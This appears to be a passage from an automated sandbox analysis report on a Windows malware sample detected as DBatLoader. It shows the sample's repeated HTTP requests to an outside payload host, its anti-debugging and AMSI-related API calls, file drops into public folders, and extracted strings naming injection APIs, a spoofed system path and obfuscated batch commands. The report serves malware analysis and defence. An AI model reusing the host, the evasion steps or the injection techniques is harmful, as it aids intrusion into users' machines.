2025-01-14 07:27:00 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:27:00 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:27:00 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:27:00 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50258	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:01 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:27:01 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:27:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:27:01 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50260	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:01 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:27:02 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:27:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:27:02 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50262	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:02 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:27:02 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:27:02 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:27:02 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Target ID:	0
Start time:	02:24:55
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\8e8JUOzOjR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8e8JUOzOjR.exe"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	421E68364BF99E35F1AF18E71327E994
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.3293909021.0000000002336000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.3308900911.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.6%
Total number of Nodes:	268
Total number of Limit Nodes:	15

Executed Functions

Function 0284F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InetIsOffline.URL(00000000,00000000,0285B3D5,?,?,?,000002F7,00000000,00000000), ref: 0284F0E2

Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3

Part of subcall function 0284EFC8: GetModuleHandleW.KERNEL32(KernelBase,?,0284F3CC,UacInitialize,0289237C,0285B40C,UacScan,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString), ref: 0284EFCE
Part of subcall function 0284EFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0284EFE0

Part of subcall function 0284F024: GetModuleHandleW.KERNEL32(KernelBase), ref: 0284F034
Part of subcall function 0284F024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0284F046
Part of subcall function 0284F024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0284F05D

Part of subcall function 02837E10: GetFileAttributesA.KERNEL32(00000000,?,0284FD00,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,UacScan,0289237C,0285B40C,UacInitialize), ref: 02837E1B

Part of subcall function 0283C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029868C8,?,02850032,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession), ref: 0283C2FB

Part of subcall function 0284DFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E01F
Part of subcall function 0284DFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E04F
Part of subcall function 0284DFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0284E064
Part of subcall function 0284DFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0284E090
Part of subcall function 0284DFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0284E099

Part of subcall function 02837E34: GetFileAttributesA.KERNEL32(00000000,?,02852E7D,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,Initialize), ref: 02837E3F

Part of subcall function 02837FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,0285301B,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,Initialize,0289237C,0285B40C,ScanString,0289237C,0285B40C), ref: 02837FD5

Part of subcall function 0284DF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DFD2), ref: 0284DF3F
Part of subcall function 0284DF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0284DF79
Part of subcall function 0284DF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0284DFA6
Part of subcall function 0284DF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0284DFAF

Part of subcall function 02848798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
Part of subcall function 02848798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
Part of subcall function 02848798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802

Part of subcall function 02848704: LoadLibraryW.KERNEL32(amsi), ref: 0284870D
Part of subcall function 02848704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0284876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,0285B764), ref: 02854DEB

Part of subcall function 0284DE78: RtlInitUnicodeString.NTDLL(?,?), ref: 0284DEA0
Part of subcall function 0284DE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DEF2), ref: 0284DEB6
Part of subcall function 0284DE78: NtDeleteFile.NTDLL(?), ref: 0284DED5

MoveFileA.KERNEL32(00000000,00000000), ref: 02854FEB
MoveFileA.KERNEL32(00000000,00000000), ref: 02855041

Strings

URL=file:", xrefs: 028568DB
Kernel32, xrefs: 0285A561, 0285A570, 0285A5AC
NtGetWriteWatch, xrefs: 0285A9DD
CreateProcessW, xrefs: 0285A56B
NtSetSecurityObject, xrefs: 02858DFA
GetProxyDllInfo, xrefs: 0284F40B
http, xrefs: 02851A09
tquery, xrefs: 02859C25
GetProcessMemoryInfo, xrefs: 02859CA7
NtQuerySystemInformation, xrefs: 0285A4D5
RetailTracerEnable, xrefs: 02859C0E
I_QueryTagInformation, xrefs: 02858DBE
NtWriteVirtualMemory, xrefs: 0285AC0E
FindCertsByIssuer, xrefs: 0284F54A
NtOpenProcess, xrefs: 02858E0E
CryptSIPVerifyIndirectData, xrefs: 0284F6A8, 02859CDA
LdrGetProcedureAddress, xrefs: 0285ABDB
bcrypt, xrefs: 0284F7A1, 0284F7D4, 0284F807, 02859E1C
sppwmi, xrefs: 0285A95B
C:\\Users\\Public\\Libraries\\, xrefs: 02854F9A, 02854FF0, 02855CEB
C:\Users\Public\alpha.pif, xrefs: 02854F6A
NtCreateSection, xrefs: 0285AAA9
C:\Users\Public\aken.pif, xrefs: 02854F85
RtlAllocateHeap, xrefs: 0285A1A3, 0285A209
NtOpenObjectAuditAlarm, xrefs: 02858DAA
NtMapViewOfSection, xrefs: 0285AADC
OpenProcess, xrefs: 0285A6D1
Initialize, xrefs: 0284F17B, 028500FD, 02850291, 0285042F, 028505D5, 0285088A, 02850F2D, 02851369, 02851813, 0285191D, 02852004, 02852336, 02852656, 0285298A, 02852B38, 02852E91, 0285324A, 028553F2, 02855787, 02855B83, 02855D48, 02855FB4, 028560F2, 028562F7, 0285726C, 02857F24, 02858F31, 02859B1C, 02859EBA, 0285A3E9, 0285A7A3, 0285ACEF
ScanBuffer, xrefs: 0284F2A7, 0284F5FF, 0284F829, 0284FD90, 0284FE9D, 0284FFB5, 02850389, 02850527, 028506CD, 028507ED, 02850982, 02850A7A, 02850CE3, 02850E89, 02851025, 0285113B, 028511C9, 028514DD, 0285177E, 0285188F, 02851A2C, 02851DD7, 02851EE3, 02852101, 0285221E, 02852539, 028525DA, 0285274E, 0285290E, 02852C30, 02853027, 028532C6, 02853357, 02853711, 028538F3, 02853A67, 02853BEA, 02853C66, 02853E1D, 02854027, 02854285, 028544B7, 028546FB, 02854943, 02854BF9, 02854D5F, 02854EF4, 0285522C, 02855566, 0285587F, 02855BFF, 02855F38, 028561EA, 028563EF, 02856555, 028566C9, 02856745, 028572E8, 02857379, 028577A9, 0285793C, 02857A98, 02857B90, 028580AD, 0285837A, 02858520, 028586AD, 02858841, 028589C0, 02858C37, 02858D2F, 0285914B, 02859424, 02859598, 028597CE, 02859860, 02859B98, 02859F36, 0285A465, 0285AD6B
WriteVirtualMemory, xrefs: 0285A704
Ntdll, xrefs: 0285A4DA, 0285A4E9, 0285A4F8, 0285A507
psapi, xrefs: 02859CBE
dbgcore, xrefs: 02858DD7, 02858DEB
MiniDumpReadDumpStream, xrefs: 02858DE6
UacInitialize, xrefs: 0284F36F, 0284FA36, 02850179, 0285418D, 02854603, 02854DFC, 028550B8, 0285546E, 0285595B, 02857471, 02858CB3, 028590CF
DlpGetWebSiteAccess, xrefs: 0285A045
HotKey=, xrefs: 02856A65
BCryptQueryProviderRegistration, xrefs: 0284F7BD
NtOpenFile, xrefs: 0285AC41
NEO.c, xrefs: 02854879
ieproxy, xrefs: 0284F3F5, 0284F41C, 0284F44C
BCryptRegisterProvider, xrefs: 0284F7F0
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 0285026B
CreateProcessA, xrefs: 0285A55C
NtQuerySecurityObject, xrefs: 0285AB42
kernel32, xrefs: 0285A64F, 0285A682, 0285A6B5, 0285A6E8, 0285A71B, 0285A74E, 0285A781
NtWaitForSingleObject, xrefs: 0285A1D6
lld.SLITUTEN, xrefs: 02853EEC
SLGetGenuineInformation, xrefs: 028599CE
EnumServicesStatusExA, xrefs: 0285A52F
SetUnhandledExceptionFilter, xrefs: 0285A76A
DllGetActivationFactory, xrefs: 0284F94E
psapi, xrefs: 0285A552
WintrustAddActionID, xrefs: 0284F517
NtDeviceIoControlFile, xrefs: 0285A4E4
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02853ADC
mssip32, xrefs: 0284F68C, 0284F6BF, 0284F6F2, 02859CF1
smartscreenps, xrefs: 0284F932, 0284F965, 0284F998
wintrust, xrefs: 0284F4FB, 0284F52E, 0284F561
ScanString, xrefs: 0284F1DF, 0284F46E, 0284F583, 0284F714, 0284F8A5, 0284FB2E, 0284FC6F, 028501F5, 02850E0D, 02850FA9, 028513E5, 02851600, 0285167C, 02851999, 02851CBF, 02851F88, 028523C5, 028527F6, 02852A06, 02852ABC, 02852DEB, 02852F0D, 028531CE, 02853619, 02854111, 02854587, 0285477C, 02855134, 028552CE, 02855613, 028559D7, 02856076, 0285685C, 028569D3, 02856A8B, 028570F8, 02857592, 028579F9, 0285801C, 02858AC3, 02858EB5, 0285929E, 0285965A, 02859958, 02859D13, 0285A0FA, 0285A2F1, 0285A89B
MiniDumpWriteDump, xrefs: 02858DD2
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 028549CC
EnumServicesStatusExW, xrefs: 0285A53E
SLLoadApplicationPolicies, xrefs: 02859A67
.url, xrefs: 0285590F
CryptSIPGetInfo, xrefs: 0284F675
SxTracerGetThreadContextDebug, xrefs: 02859C41, 0285A911
GZmMS1j, xrefs: 0284F0F0
UacUninitialize, xrefs: 02853152, 0285344F, 02853547, 02853D25, 028543BF
spp, xrefs: 02859C58, 02859C8B, 0285A928
NtAccessCheck, xrefs: 0285AB75
DlpGetArchiveFileTraceInfo, xrefs: 0285A012
NtOpenSection, xrefs: 0285AA76
DlpCheckIsCloudSyncApp, xrefs: 02859FDF
EtwEventWriteEx, xrefs: 0285AC74
RtlCreateQueryDebugBuffer, xrefs: 0285A23C
IconIndex=, xrefs: 02856931
advapi32, xrefs: 02858DC3
LdrLoadDll, xrefs: 0285ABA8
VirtualProtect, xrefs: 0285A69E
EtwEventWrite, xrefs: 0285ACA7
NtQueryDirectoryFile, xrefs: 0285A4F3
C:\Users\Public\, xrefs: 028535B7, 02855904, 02856B77
C:\Windows\System32\, xrefs: 0284FCEB, 028574EF, 02858237
sppc, xrefs: 028599E5, 02859A18, 02859A4B, 02859A7E, 0285A98E, 0285A9C1
NtAlertResumeThread, xrefs: 0285A170
RtlQueryProcessDebugInformation, xrefs: 0285A502
C:\\Windows \\SysWOW64\\, xrefs: 02853F02, 02854316
FlushInstructionCache, xrefs: 0285A737
DllRegisterServer, xrefs: 0284F435, 0284F981
TrustOpenStores, xrefs: 0284F4E4
VirtualAlloc, xrefs: 0285A638
Advapi, xrefs: 0285A516, 0285A525, 0285A534, 0285A543, 0285A57F, 0285A58E, 0285A59D
EnumServicesStatusW, xrefs: 0285A520
GET, xrefs: 02851D36
FX.c, xrefs: 02854B2F
BCryptVerifySignature, xrefs: 0284F78A, 02859E05
NtQueryInformationThread, xrefs: 0285AA43
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02854C82
CreateProcessAsUserA, xrefs: 0285A57A
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02853795
EnumServicesStatusA, xrefs: 0285A511
NtReadVirtualMemory, xrefs: 0285AB0F
SLIsGenuineLocalEx, xrefs: 02859A34
DlpNotifyPreDragDrop, xrefs: 02859FAC
[InternetShortcut], xrefs: 028568CC
EnumProcessModules, xrefs: 0285A54D
UacScan, xrefs: 0284F30B, 0284F9BA, 0284FAB2, 02850081, 02850C67, 02851245, 02851BA7, 028522BA, 028534CB, 02853695, 028537F6, 0285396F, 02853AF2, 02853CC3, 02853DA1, 02853F2F, 0285443B, 028547F8, 02854A2D, 0285570B, 02855C7B, 02855E40, 0285616E, 0285627B, 028564D9, 028565D1, 02857174, 02857516, 0285772D, 028578C0, 02857B14, 02857FA0, 02858129, 02858282, 02858428, 028585B5, 02858749, 028588C8, 02858B3F, 02858FAD, 028591C7, 028593A8, 0285951C, 02859752, 0285A5C2
CryptSIPGetSignedDataMsg, xrefs: 0284F6DB
ntdll, xrefs: 02858DAF, 02858DFF, 02858E13, 0285A187, 0285A1BA, 0285A1ED, 0285A220, 0285A253, 0285A9F4, 0285AA27, 0285AA5A, 0285AA8D, 0285AAC0, 0285AAF3, 0285AB26, 0285AB59, 0285AB8C, 0285ABBF, 0285ABF2, 0285AC25, 0285AC58, 0285AC8B, 0285ACBE
VirtualAllocEx, xrefs: 0285A66B
CreateProcessWithLogonW, xrefs: 0285A598
OpenSession, xrefs: 0284F117, 0284F243, 0284FBF3, 0284FD14, 0284FE21, 0284FF39, 0285030D, 028504AB, 02850651, 02850771, 02850906, 028509FE, 02850BEB, 02850D91, 028510BF, 028512ED, 02851461, 02851584, 02851702, 02851AA8, 02851B2B, 02851C43, 02851D5B, 02851E67, 02852085, 028521A2, 02852441, 028524BD, 028526D2, 02852872, 02852BB4, 02852D6F, 02852F89, 028530A3, 028533D3, 02853872, 028539EB, 02853B6E, 02853FAB, 02854209, 02854343, 0285467F, 028548C7, 02854AA9, 02854B7D, 02854CE3, 02854E78, 028551B0, 0285534A, 028554EA, 0285568F, 02855803, 02855A53, 02855B07, 02855DC4, 02855EBC, 02856373, 0285664D, 028567C1, 02856957, 02856B07, 028571F0, 028573F5, 0285760E, 028576B1, 02857844, 02857C0C, 02857EA8, 028581A5, 028582FE, 028584A4, 02858631, 028587C5, 02858944, 02858A47, 02858BBB, 02858E39, 02859029, 0285931A, 028594A0, 028596D6, 028598DC, 02859AA0, 02859D8F, 02859E3E, 0285A07E, 0285A275, 0285A36D, 0285A81F, 0285ADE7
SLGatherMigrationBlob, xrefs: 0285A977
CreateProcessAsUserW, xrefs: 0285A589, 0285A5A7
WinHttp.WinHttpRequest.5.1, xrefs: 02851C1D
DllGetClassObject, xrefs: 0284F3E4, 0284F91B, 02859C74, 0285A944
SLGetEncryptedPIDEx, xrefs: 0285A9AA
sys.thgiseurt, xrefs: 02854300
SLGetSLIDList, xrefs: 02859A01
endpointdlp, xrefs: 02859FC3, 02859FF6, 0285A029, 0285A05C
NtQueryVirtualMemory, xrefs: 0285AA10

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: 3f695e7503c703b28d3825df02de5e341fd7bd391ec46c463ca92ad5659e635d
Instruction ID: 4630ce8675d849fa24cd9c8b2c13b3cd4506d60592caf79940752341c65551dc
Opcode Fuzzy Hash: 3f695e7503c703b28d3825df02de5e341fd7bd391ec46c463ca92ad5659e635d
Instruction Fuzzy Hash: 7624FD7DA1016C8BDB21EB68DD80ADE73B6BF94304F1080E5E409EB359DB74AE458F52

Function 02835A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02830000,0285E790), ref: 02835A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AD0
